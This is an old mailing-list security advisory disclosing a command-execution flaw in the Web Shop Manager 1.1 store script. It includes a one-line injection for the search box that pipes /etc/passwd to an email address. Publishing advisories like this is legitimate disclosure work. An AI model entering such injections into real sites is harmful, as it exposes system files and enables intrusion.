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Remote command execution in Web Shop Manager

From:  Tacettin Karadeniz <tacettinkaradeniz@yahoo.com>
To:  bugtraq@securityfocus.com
Subject:  Web Shop Manager Security Vulnerability
Date:  Thu, 15 Aug 2002 03:15:37 -0700 (PDT)

Summary 
The Web Shop
Manager(http://www.webscriptworld.com/scripts/wsm.phtml)
allows you to manage a fully functional online store
from a centralized web-based administration system. A
security vulnerability in the product allows executing
of arbitrary commands with the privileges of the
script file used by the product.

Details 
Vulnerable systems:
 * Web Shop Manager version 1.1

Exploit:
It is possible to send server's password file any mail
address by writing the following command in Web Shop
Manager's search box:

 |mail user@host.com < /etc/passwd

 



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